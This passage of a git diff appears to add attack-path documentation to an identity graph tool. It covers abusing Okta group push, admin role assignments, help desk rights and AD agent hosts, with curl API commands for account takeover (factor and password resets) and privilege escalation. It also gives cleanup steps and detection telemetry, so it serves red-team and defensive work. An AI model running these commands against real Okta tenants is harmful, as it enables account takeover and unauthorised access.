"Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$OKTA_SOURCE_GROUP_ID/users/$CONTROLLED_USER_ID" + ``` + + A successful membership change returns `204 No Content`. + +6. Verify the source group membership in Okta. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$OKTA_SOURCE_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.CONTROLLED_USER_ID) | [.id, .profile.login, .status] | @tsv' + ``` + +7. Verify the downstream result using the target application's admin UI or API. Okta can show the mapping and source membership, but the final proof is that the downstream account is now a member of the destination group or role. + +The same relationship can be abused destructively by removing users from the mapped source group, deactivating the mapping, or relinking the mapping so legitimate users lose downstream access. + +## Cleanup after Abuse + +Cleanup for `Okta_GroupPush` means restoring the mapped Okta source group and group-push mapping so Okta removes the temporary downstream group membership from the destination application. + +Cleanup using Admin Console: + +1. Open **Directory** > **Groups** and select the mapped Okta source group. +2. Remove the attacker-controlled user and restore any legitimate users that were removed. +3. Open **Applications** > **Applications**, select the source application, and review the group push mapping for the destination group. +4. Deactivate or delete any mapping created only for the operation. +5. Trigger push where available or wait for the provisioning cycle. +6. Verify in the downstream application that the destination group no longer contains the temporary account. + +Cleanup using API: + +1. Remove the attacker-controlled user from the mapped Okta source group. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$OKTA_SOURCE_GROUP_ID/users/$CONTROLLED_USER_ID" + ``` + +2. Deactivate a temporary group-push mapping. + + ```bash + curl -i -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$SOURCE_APP_ID/group-push/mappings/$GROUP_PUSH_MAPPING_ID/lifecycle/deactivate" + ``` + +3. Delete a temporary group-push mapping after it is no longer needed. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$SOURCE_APP_ID/group-push/mappings/$GROUP_PUSH_MAPPING_ID" + ``` + + A successful delete returns `204 No Content`. + +4. Confirm the temporary source membership is gone. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$OKTA_SOURCE_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.CONTROLLED_USER_ID)' + ``` + +5. Verify the downstream application removed the temporary account from the destination group. Use the downstream application's API or admin UI because Okta does not prove the target app applied the change. + +## Opsec Considerations + +Changing the mapped source group creates `group.user_membership.add` or `group.user_membership.remove` events. Activating, deactivating, deleting, or changing group-push mappings also creates application provisioning telemetry, and the downstream application may log group membership, account creation, role assignment, or deprovisioning events caused by Okta. + +Group push is noisy when it affects many users. Relinking or activating a mapping to a privileged target group can generate a burst of downstream changes, failed provisioning attempts, or help desk tickets if legitimate users lose access. + +## References + +- [Okta Group Push Mappings API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/GroupPushMapping/) +- [Okta Group API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Group/) +- [Okta Application Groups API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ApplicationGroups/) +- [Okta SCIM concepts](https://developer.okta.com/docs/concepts/scim/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) +- [Okta SCIM Attack Tool](https://github.com/authomize/okta_scim_attack_tool) diff --git a/descriptions/edges/Okta_HasRole.md b/descriptions/edges/Okta_HasRole.md index 837deb8..2005f0f 100644 --- a/descriptions/edges/Okta_HasRole.md +++ b/descriptions/edges/Okta_HasRole.md @@ -16,3 +16,204 @@ graph LR a1 -. Okta_HasRole .-> r2 u2 -- Okta_MemberOf --> g1 ``` + +## Abuse Info + +`Okta_HasRole` is not the full abuse path by itself. It tells you that the source principal has the destination built-in role or custom role. An attacker who controls the source principal must combine this edge with `Okta_HasRoleAssignment` and `Okta_ScopedTo` to determine where the role applies, then use the derived permission edge that OpenHound emits from that role and scope. + +For a user source, authenticate as the user. For a group source, compromise any member of the group because Okta admin roles assigned to a group are inherited by group members. For an application source, authenticate as the service app/client using its configured client credential and request an Okta Management API access token with the scopes allowed for that client. + +To abuse this edge: + +1. Compromise the source user, a member of the source group, or the source application's client credentials. +2. Follow `Okta_HasRoleAssignment` from the same source principal to find the concrete `Okta_RoleAssignment`. +3. Follow `Okta_ScopedTo` from that assignment to identify the destination resources the role can manage. +4. If the destination role is a built-in role, use the derived edge for the concrete privilege, such as `Okta_AppAdmin`, `Okta_GroupAdmin`, `Okta_HelpDeskAdmin`, `Okta_OrgAdmin`, `Okta_SuperAdmin`, or `Okta_GroupMembershipAdmin`. +5. If the destination role is a custom role, inspect its permissions and resource set, then use the derived edge such as `Okta_ResetPassword`, `Okta_ResetFactors`, `Okta_AddMember`, `Okta_ManageApp`, or `Okta_ReadClientSecret`. +6. Perform the smallest action needed on the scoped destination object, such as resetting a user's password, adding a controlled user to a group, modifying an application, or reading a client secret. + +Using the Admin Console: + +1. Sign in as the source user or as any compromised member of the source group. +2. Open **Security** > **Administrators** and locate the source principal. +3. Review the assigned role and its scope. For custom roles, review the custom role permissions and resource set. +4. Navigate to the scoped destination resource, such as **Directory** > **People**, **Directory** > **Groups**, or **Applications** > **Applications**. +5. Perform the concrete action allowed by the role and scope. +6. Verify the resulting graph path, such as a new group membership, app assignment, credential, or user recovery state. + +Using the Okta API: + +1. Set variables for the source principal, role assignment, and any temporary action you plan to perform. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export SOURCE_USER_ID="00u..." + export SOURCE_GROUP_ID="00g..." + export SOURCE_CLIENT_ID="0oa..." + export ROLE_ASSIGNMENT_ID="JBC..." + export CUSTOM_ROLE_ID="cr0..." + export TARGET_GROUP_ID="00g..." + export CONTROLLED_USER_ID="00u..." + ``` + +2. List role assignments for the source principal. Use the path that matches the source node type. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$SOURCE_USER_ID/roles?expand=targets/catalog/apps&expand=targets/groups" \ + | jq -r '.[] | [.id, .type, .status, .assignmentType, .label] | @tsv' + + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$SOURCE_GROUP_ID/roles?expand=targets/catalog/apps&expand=targets/groups" \ + | jq -r '.[] | [.id, .type, .status, .assignmentType, .label] | @tsv' + + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/oauth2/v1/clients/$SOURCE_CLIENT_ID/roles?expand=targets/catalog/apps&expand=targets/groups" \ + | jq -r '.[] | [.id, .type, .status, .assignmentType, .label] | @tsv' + ``` + +3. If the destination role is custom, inspect the permissions that drive derived edges. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/iam/roles/$CUSTOM_ROLE_ID/permissions" \ + | jq -r '.[] | [.label, .status] | @tsv' + ``` + +4. Verify the role assignment scope before acting. This user-source example shows group and app targets embedded on the role assignment. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$SOURCE_USER_ID/roles/$ROLE_ASSIGNMENT_ID?expand=targets/catalog/apps&expand=targets/groups" \ + | jq '{id, type, status, assignmentType, targets: ._embedded.targets}' + ``` + +5. Perform the concrete role-backed action. This example uses an `Okta_AddMember`-style permission to add a controlled user to a scoped group. + + ```bash + curl -i -sS -X PUT \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users/$CONTROLLED_USER_ID" + ``` + + A successful group membership change returns `204 No Content`. + +6. Verify the action succeeded. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.CONTROLLED_USER_ID) | [.id, .profile.login] | @tsv' + ``` + +## Cleanup after Abuse + +Cleanup for `Okta_HasRole` removes the temporary effect created by using the destination role and, if the role assignment was added only for the operation, removes that source principal's role assignment. + +Cleanup using Admin Console: + +1. Identify the concrete admin action performed through the role, such as a group membership, app assignment, user reset, factor reset, policy change, or credential change. +2. Restore that destination object to its original state. +3. If the source principal was placed in a role-bearing group, remove the temporary group membership. +4. If a temporary admin role assignment was created, open **Security** > **Administrators** and remove the source principal from the role. +5. Revoke sessions and tokens for any user or service client that received new access through the role. +6. Verify the `Okta_HasRole`, derived permission edge, and downstream access path no longer resolve. + +Cleanup using API: + +1. Remove the temporary action performed with the role. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users/$CONTROLLED_USER_ID" + ``` + +2. If the role came from temporary group membership, remove the controlled user from the source role-bearing group. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$SOURCE_GROUP_ID/users/$CONTROLLED_USER_ID" + ``` + +3. If a temporary role assignment was created, delete it with the endpoint that matches the principal type. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$SOURCE_USER_ID/roles/$ROLE_ASSIGNMENT_ID" + + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$SOURCE_GROUP_ID/roles/$ROLE_ASSIGNMENT_ID" + + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/oauth2/v1/clients/$SOURCE_CLIENT_ID/roles/$ROLE_ASSIGNMENT_ID" + ``` + + A successful role unassignment returns `204 No Content`. + +4. Revoke sessions for a controlled user that received interactive access through the role. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$CONTROLLED_USER_ID/sessions?oauthTokens=true" + ``` + +5. Verify the role and temporary access are gone. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$SOURCE_USER_ID/roles?expand=targets/catalog/apps&expand=targets/groups" \ + | jq -r '.[] | select(.id == env.ROLE_ASSIGNMENT_ID)' + + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.CONTROLLED_USER_ID)' + ``` + +## Opsec Considerations + +Using `Okta_HasRole` creates telemetry for the concrete admin action, not for the graph relationship. Watch for `user.account.privilege.grant`, `user.account.privilege.revoke`, `iam.role.assignment.*`, `iam.resourceset.bindings.add`, `iam.resourceset.bindings.delete`, group membership events, application assignment events, user reset events, factor reset events, and service-client OAuth token use. + +For group sources, defenders should correlate the role-bearing group membership change with subsequent admin actions by the new member. For application sources, correlate client-credentials token grants, requested scopes, source IP, and API calls. + +## References + +- [Okta roles guide](https://developer.okta.com/docs/api/openapi/okta-management/guides/roles/) +- [Okta role assignment concept](https://developer.okta.com/docs/concepts/role-assignment/) +- [Okta User Role Assignments API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/RoleAssignmentAUser/) +- [Okta Group Role Assignments API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/RoleAssignmentBGroup/) +- [Okta Client Role Assignments API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/RoleAssignmentClient/) +- [Okta custom role permissions](https://developer.okta.com/docs/api/openapi/okta-management/guides/permissions/) +- [Okta Group API: Unassign a user from a group](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Group/#tag/Group/operation/unassignUserFromGroup) +- [Okta User Sessions API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserSessions/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) +- [Eli Guy: Okta RBAC Attacks](https://xmcyber.com/blog/okta-rbac-attacks/) diff --git a/descriptions/edges/Okta_HasRoleAssignment.md b/descriptions/edges/Okta_HasRoleAssignment.md index 3274acb..420cc82 100644 --- a/descriptions/edges/Okta_HasRoleAssignment.md +++ b/descriptions/edges/Okta_HasRoleAssignment.md @@ -26,3 +26,201 @@ graph TB u2 -- Okta_SuperAdmin --> org u2 -. Okta_HasRole .-> r2 ``` + +## Abuse Info + +`Okta_HasRoleAssignment` identifies the concrete assignment object that binds the source principal to an Okta admin role. It is not directly abusable alone, but it tells an attacker exactly which assignment to inspect for role type, status, scope, targets, and custom-role resource set. Control of the source principal becomes dangerous when this assignment is active and the role has useful scope. + +For a user source, authenticate as the user. For a group source, compromise any member of the source group so the member inherits the group's admin assignment. For an application source, authenticate as the source client and request an OAuth access token for the Okta Management API scopes granted to that client. + +To abuse this edge: + +1. Compromise the source principal or a user who inherits the source group's role assignment. +2. Retrieve the destination `Okta_RoleAssignment` and confirm it is `ACTIVE`. +3. Follow `Okta_HasRole` from the source principal to identify the assigned built-in role or custom role. +4. Follow `Okta_ScopedTo` from the destination assignment to identify the resource scope. +5. For standard roles, use role targets to determine the affected groups or applications. For custom roles, inspect the resource set and custom role permissions. +6. Use the derived permission edge emitted from the assignment, such as `Okta_AppAdmin`, `Okta_GroupAdmin`, `Okta_HelpDeskAdmin`, `Okta_OrgAdmin`, `Okta_SuperAdmin`, `Okta_ResetPassword`, `Okta_AddMember`, or `Okta_ReadClientSecret`. + +If the attacker can modify the destination role assignment, they can also expand targets, add a resource set binding member, or create a second assignment for a controlled principal. That expansion is the concrete abuse; this edge shows which assignment object to change. + +Using the Admin Console: + +1. Sign in as the source user, a member of the source group, or an administrator who can inspect the source client. +2. Open **Security** > **Administrators** and find the source principal. +3. Open the destination role assignment and record the role, assignment type, status, and scope. +4. If the source is a group, add or compromise a group member to inherit the assignment. +5. Navigate to the scoped resource and perform the action represented by the derived edge. +6. If modifying the assignment is part of the path, add only the target or binding member needed for the operation. +7. Verify the downstream effect, such as a reset user, added group member, changed app, or readable client secret. + +Using the Okta API: + +1. Set variables for the source principal, role assignment, and a controlled user for inherited group-role testing. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export SOURCE_USER_ID="00u..." + export SOURCE_GROUP_ID="00g..." + export SOURCE_CLIENT_ID="0oa..." + export ROLE_ASSIGNMENT_ID="JBC..." + export CONTROLLED_USER_ID="00u..." + export TARGET_GROUP_ID="00g..." + ``` + +2. Retrieve the destination role assignment. Use the path that matches the source principal type. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$SOURCE_USER_ID/roles/$ROLE_ASSIGNMENT_ID?expand=targets/catalog/apps&expand=targets/groups" \ + | tee /tmp/okta-user-role-assignment.json + + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$SOURCE_GROUP_ID/roles/$ROLE_ASSIGNMENT_ID?expand=targets/catalog/apps&expand=targets/groups" \ + | tee /tmp/okta-group-role-assignment.json + + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/oauth2/v1/clients/$SOURCE_CLIENT_ID/roles/$ROLE_ASSIGNMENT_ID?expand=targets/catalog/apps&expand=targets/groups" \ + | tee /tmp/okta-client-role-assignment.json + ``` + +3. Inspect the role assignment status, role type, assignment type, and embedded targets. + + ```bash + jq '{id, label, type, status, assignmentType, resourceSet: ."resource-set", targets: ._embedded.targets}' \ + /tmp/okta-user-role-assignment.json + ``` + +4. If the source is a group and you need to inherit the role, add the controlled user to the source group. + + ```bash + curl -i -sS -X PUT \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$SOURCE_GROUP_ID/users/$CONTROLLED_USER_ID" + ``` + + A successful group membership change returns `204 No Content`. + +5. Verify the controlled user is a source group member and can inherit the role assignment. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$SOURCE_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.CONTROLLED_USER_ID) | [.id, .profile.login] | @tsv' + ``` + +6. Use the derived edge for the actual action. This example adds the controlled user to a scoped target group. + + ```bash + curl -i -sS -X PUT \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users/$CONTROLLED_USER_ID" + ``` + +## Cleanup after Abuse + +Cleanup for `Okta_HasRoleAssignment` restores the destination assignment's original principal, role, and scope, removes temporary inheritance created to use the assignment, and reverses the downstream admin action performed with that assignment. + +Cleanup using Admin Console: + +1. Open **Security** > **Administrators** and locate the destination role assignment. +2. Remove any temporary assignee, target, resource set binding member, or resource set membership added for the operation. +3. If the source was a group, remove the controlled user from the source group. +4. Reverse the downstream action performed with the assignment, such as group membership, app assignment, password reset, factor reset, or credential change. +5. Revoke sessions and tokens for users or service clients that received access through the assignment. +6. Verify the role assignment and derived edge match the pre-abuse state. + +Cleanup using API: + +1. Remove temporary membership from the source role-bearing group. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$SOURCE_GROUP_ID/users/$CONTROLLED_USER_ID" + ``` + +2. Remove temporary access from the scoped destination group if that was the downstream action. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users/$CONTROLLED_USER_ID" + ``` + +3. Delete a temporary role assignment if one was created for the operation. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$SOURCE_USER_ID/roles/$ROLE_ASSIGNMENT_ID" + + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$SOURCE_GROUP_ID/roles/$ROLE_ASSIGNMENT_ID" + + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/oauth2/v1/clients/$SOURCE_CLIENT_ID/roles/$ROLE_ASSIGNMENT_ID" + ``` + +4. Revoke sessions for the controlled user if an interactive session was created through the assignment. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$CONTROLLED_USER_ID/sessions?oauthTokens=true" + ``` + +5. Verify the role assignment and temporary memberships are gone. + + ```bash + curl -i -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$SOURCE_USER_ID/roles/$ROLE_ASSIGNMENT_ID" + + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$SOURCE_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.CONTROLLED_USER_ID)' + ``` + + A deleted role assignment returns `404 Not Found`; removed memberships produce no matching user in the list output. + +## Opsec Considerations + +Creating, deleting, or expanding role assignments is high-signal activity. Relevant telemetry includes `iam.role.assignment.*`, `user.account.privilege.grant`, `user.account.privilege.revoke`, `iam.resourceset.bindings.add`, `iam.resourceset.bindings.delete`, role target changes, group membership changes, and the downstream admin events created by the assigned principal. + +For group assignments, defenders should correlate a new group member with immediate administrative actions. For client assignments, correlate client role assignment changes with OAuth client-credentials grants and subsequent Okta Management API calls. + +## References + +- [Okta roles guide](https://developer.okta.com/docs/api/openapi/okta-management/guides/roles/) +- [Okta role assignment concept](https://developer.okta.com/docs/concepts/role-assignment/) +- [Okta User Role Assignments API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/RoleAssignmentAUser/) +- [Okta Group Role Assignments API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/RoleAssignmentBGroup/) +- [Okta Client Role Assignments API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/RoleAssignmentClient/) +- [Okta Role Resource Set Bindings API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/RoleDResourceSetBinding/) +- [Okta Group API: Assign a user to a group](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Group/#tag/Group/operation/assignUserToGroup) +- [Okta User Sessions API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserSessions/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) +- [Eli Guy: Okta RBAC Attacks](https://xmcyber.com/blog/okta-rbac-attacks/) diff --git a/descriptions/edges/Okta_HelpDeskAdmin.md b/descriptions/edges/Okta_HelpDeskAdmin.md index 08d3859..958ac64 100644 --- a/descriptions/edges/Okta_HelpDeskAdmin.md +++ b/descriptions/edges/Okta_HelpDeskAdmin.md @@ -11,3 +11,133 @@ graph LR u1 -- Okta_HelpDeskAdmin --> u2 g1 -- Okta_HelpDeskAdmin --> u3 ``` + +## Abuse Info + +An attacker who controls the source principal can perform help desk actions against the destination user. This is commonly abused by resetting the user's password and authenticators, unlocking the account if needed, clearing sessions, and completing the next login as that user. If the graph edge points at a scoped group, apply the same help desk actions to users in that group. + +For a user source, sign in as that user. For a group source, compromise any member of the source group. For an application source, authenticate as the service app or client and use its management API access. + +Using the Admin Console: + +1. Authenticate to Okta as the source user, as a member of the source group, or as the source service application. +2. Open **Directory** > **People** and select the destination user. +3. Unlock or activate the account if its current status would block sign-in. +4. Reset the user's password or generate a password reset flow. +5. Reset the user's authenticators so the attacker can enroll a new authenticator during the next login. +6. Sign in as the destination user, complete the password reset flow, enroll attacker-controlled MFA, and access applications or admin functions available to that user. + +If password reset is not available but authenticator reset is available, combine this edge with a known password, password spraying result, password sync path, or session theft. + +Using the Okta API: + +1. Set the Okta org URL, a token for the source principal, and the destination user ID. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export TARGET_USER_ID="00u..." + ``` + +2. Unlock the account if it is locked. + + ```bash + curl -i -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/lifecycle/unlock" + ``` + +3. Reset all authenticators for the user. + + ```bash + curl -i -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/lifecycle/reset_factors" + ``` + +4. Reset the password and return the recovery artifact to the caller. + + ```bash + curl -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/lifecycle/reset_password?sendEmail=false&revokeSessions=true" + ``` + +5. Clear current sessions if they are still valid. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/sessions?oauthTokens=true&forgetDevices=true" + ``` + +6. Complete the password reset flow as the destination user and verify sign-in with an attacker-controlled authenticator. + +## Cleanup after Abuse + +Cleanup restores the destination user's account after help desk takeover by removing attacker-controlled authenticators, forcing legitimate password recovery, restoring lifecycle state, and clearing temporary sessions. + +Cleanup using Admin Console: + +1. Open **Directory** > **People** and select the destination user. +2. Remove attacker-controlled authenticators and restore expected recovery methods. +3. Send a legitimate password reset to the user. +4. Restore lifecycle state only if the abuse changed it, such as unlock, activate, suspend, or unsuspend. +5. Clear active sessions created during the operation. + +Cleanup using API: + +1. List enrolled factors and delete attacker-controlled enrollments. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/factors" + + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/factors/$FACTOR_ID" + ``` + +2. Start a legitimate password reset and revoke sessions. + + ```bash + curl -i -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/lifecycle/reset_password?sendEmail=true&revokeSessions=true" + ``` + +3. Restore lifecycle state with the appropriate lifecycle endpoint if the abuse changed it, such as `activate`, `reactivate`, `suspend`, or `unsuspend`. +4. Revoke remaining sessions and OAuth tokens. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/sessions?oauthTokens=true&forgetDevices=true" + ``` + +5. Verify the user can sign in through the legitimate recovery path and that no attacker-controlled factors remain. + +## Opsec Considerations + +Help desk actions generate System Log events for user lifecycle, password, authenticator, unlock, and session operations. Relevant event types include `user.account.reset_password`, `user.account.expire_password`, `user.mfa.factor.reset_all`, `user.mfa.factor.activate`, `user.session.clear`, `user.session.start`, and `user.lifecycle.activate`. + +Resetting both password and MFA in a short window is a high-signal takeover pattern, especially when followed by `user.session.access_admin_app`, new app launches, or source IP and user agent changes. + +## References + +- [Okta Help desk administrators](https://help.okta.com/oie/en-us/content/topics/security/administrators-help-desk-admin.htm) +- [Okta User Credentials API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserCred/) +- [Okta User Lifecycle API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserLifecycle/) +- [Okta User Factors API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserFactor/) +- [Okta User Sessions API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserSessions/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) +- [Adam Chester: Okta for Red Teamers](https://blog.xpnsec.com/okta-for-redteamers/) diff --git a/descriptions/edges/Okta_HostsAgent.md b/descriptions/edges/Okta_HostsAgent.md index 5a62cc5..84c36aa 100644 --- a/descriptions/edges/Okta_HostsAgent.md +++ b/descriptions/edges/Okta_HostsAgent.md @@ -21,3 +21,223 @@ graph LR c1 -- Okta_HostsAgent --> a1 c2 -- Okta_HostsAgent --> a2 ``` + +## Abuse Info + +An attacker who controls the source AD computer can compromise the destination Okta Agent running on that host. This does not grant an Okta admin role by itself; the useful primitive is local code execution inside the trust boundary of the agent that handles directory import, delegated authentication, password sync, or group sync for an on-premises integration. + +If the agent is an Active Directory agent, the attacker can use the host as a pivot into the AD-backed Okta integration. Practical abuse usually falls into one of these paths: + +1. Inspect the agent service, local configuration, logs, process environment, and service-account context on the source computer. +2. Recover or use any exposed AD connector credentials, cached secrets, Kerberos tickets, or local registration material that the agent host makes available. +3. Modify authoritative AD objects that the compromised agent or its pool imports into Okta, such as users, groups, group membership, passwords, or profile attributes. +4. Let the agent import or validate the modified AD state, then follow the resulting `Okta_UserSync`, `Okta_GroupPull`, `Okta_MembershipSync`, or `Okta_PasswordSync` path. +5. Follow `Okta_AgentMemberOf` from the destination agent to its pool and `Okta_AgentPoolFor` from that pool to the backing directory application to identify the Okta users, groups, and apps affected by the compromised host. + +Using the Admin Console: + +1. Sign in to the Okta Admin Console with an account that can view directory integrations and agents. +2. Open the org agent status view or the affected **Directory** > **Directory Integrations** > **Active Directory** integration and identify the destination agent by name, version, last connection, and operational status. +3. Confirm the source computer from the edge is the server that hosts that agent. +4. Review the integration settings for delegated authentication, imports, password sync, and group sync so you know which Okta objects can be influenced through the agent. +5. From the compromised source computer, make the AD-side change needed for the path, such as adding a controlled AD user to an imported group or resetting the AD password for a delegated-auth user. +6. Run an import from the integration if the Admin Console exposes a manual import action, or wait for the scheduled agent import. +7. Verify the destination Okta user or group changed, refresh the affected user's Okta session, and use the app assignment, group claim, policy target, or delegated-auth sign-in that the imported state grants. + +Using the agent host, Active Directory PowerShell, and Okta API verification: + +1. Set variables for the Okta org, destination agent, destination pool, and any AD-to-Okta change you plan to verify. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export AGENT_ID="0ag..." + export AGENT_POOL_ID="0ap..." + export TARGET_OKTA_GROUP_ID="00g..." + export CONTROLLED_OKTA_USER_ID="00u..." + ``` + +2. Verify that the destination agent is present in the expected pool. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/agentPools?poolType=AD&limitPerPoolType=20" \ + | jq --arg agent "$AGENT_ID" ' + 